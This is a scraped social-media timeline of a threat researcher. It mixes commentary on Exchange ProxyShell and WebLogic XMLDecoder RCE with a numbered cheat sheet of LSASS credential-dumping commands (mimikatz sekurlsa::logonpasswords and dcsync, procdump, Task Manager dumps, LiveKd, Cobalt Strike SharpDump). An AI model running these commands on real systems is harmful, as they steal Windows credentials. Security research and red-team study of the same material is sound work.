Net.Hun73r @NetHun73r

Threat Researcher (Former Forensic, Malware Analyst, Reverse Engineer) 0X Joined September 2016

Tweets

443
Followers

504
Following

2K
Likes

537

0x6rss @0x6rss

2 years ago

Android malware (.apk) can be spread through a fake PDF document by manipulating the file extension in the WhatsApp application. I showed how it is done in the video below.

1 150 761 107K 682

View Details

Net.Hun73r @NetHun73r

4 years ago

#0x14 > Cobalt Strike+mimikatz_command Methods: Mimikatz_command sekurlsa::minidump #0x15 > Cobalt Strike+taskkill Methods: taskkill /f /im lsass.exe

0 0 1 190 0

View Details

#0x10 > Windows Error Reporting Methods: HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting\LocalDumps->DumpType->2 Lsass-Shtinkering.exe #0x11 > LiveKd Methods: LiveKd.exe -w !process 0 0 lsass.exe .process /p [lsass PID] .dump /ma [dump file path]

2 0 0 171 0

View Details

Net.Hun73r @NetHun73r

4 years ago

lsass dump #0x01 > Mimikatz Methods: Sekurlsa::logonpasswords Sekurlsa::minidump lsadump::dcsync #0x02 > ProcDump Methods: procdump -ma lsass.exe lsass.dmp procdump -accepteula -64 -ma lsass.exe lsass.dmp #0x03 > Process Hacker Methods: System->LSASS process->Create Dump

1 1 3 1K 2

View Details

Net.Hun73r @NetHun73r

4 years ago

#0x12 > Task Manager Methods: Powershell -ep bypass Get-Process lsass C:\Windows\System32\Taskmgr.exe /dumpfile=C:\lsass.dmp /pid= #0x13 > Cobalt Strike+SharpDump Methods: Execute-assembly SharpDump Or load sharpdump

0 0 0 133 0

View Details

LuemmelSec @theluemmel

4 years ago

Really nice approach from @t3l3machus with the hoaxshell: github.com/t3l3machus/hoa… Not only undetected by Defender :)

10 123 411 0 98

View Details

Net.Hun73r @NetHun73r

4 years ago

@1rpwn همون اول که گفتم بهت

0 0 1 0 0

View Details

Net.Hun73r @NetHun73r

5 years ago

pegasus mobile app gathering data

0 0 0 0 0

View Details

Cube0x0 @cube0x0

5 years ago

github.com/cube0x0/SharpS… now with more potato. Locally trigger system or cross-session user authentication

1 185 534 0 78

View Details

Net.Hun73r @NetHun73r

5 years ago

In Figure 4, we see the SSRF vulnerability on one of the CAS configured headers, which is the first step in the attack.

0 0 0 0 0

View Details

Net.Hun73r @NetHun73r

5 years ago

#Microsoft #Exchange #Vulnerabilites Recently, a presentation by a researcher named Orange Tsai was released at the Blackhat 2021 conference that introduces the vulnerabilities of ProxyLogon, Proxyshell and ProxyOracle

3 0 1 0 0

View Details

Net.Hun73r @NetHun73r

5 years ago

In Figure 3, you can see the process of this Proxying request, which is copied from the Header and Cookies, and in the Proxy Section, the Authenticate and Authotize process takes place.

0 0 0 0 0

View Details

Net.Hun73r @NetHun73r

5 years ago

Since the Exchange server is widely used in government organizations, these vulnerabilities can be significant. It is a service Figure 1 shows the process of service evolution. In 2016/2019 versions, a module called Client Access Service was added.

0 0 0 0 0

View Details

Net.Hun73r @NetHun73r

5 years ago

Windows-auditing-mindmap

0 0 1 0 0

View Details

Net.Hun73r @NetHun73r

5 years ago

@pwn_world @farnaziifz خستگی از تنمون رفت

0 0 1 0 0

View Details

Net.Hun73r @NetHun73r

5 years ago

because it will be a good platform for discovering bugs for bug bounty ... github.com/c0mmand3rOpSec… github.com/ZO1RO/CVE-2019…

0 0 0 0 0

View Details

Net.Hun73r @NetHun73r

5 years ago

#Unauthenticated #Weblogic #RCE For many years, Weblogic services on different platforms have led to RCE attacks that are the result of various vulnerabilities, so the discovery of vulnerabilities as WhiteBox in these services is very important

3 0 0 0 0

View Details

Net.Hun73r @NetHun73r

5 years ago

the java.beans.XMLDecoder class, and with an html encoding the input command to the exploit. Put it in command_filtered and call the start method as void and RCE happens just as easily,Friends, do not ignore the discussion of Weblogic Pentest,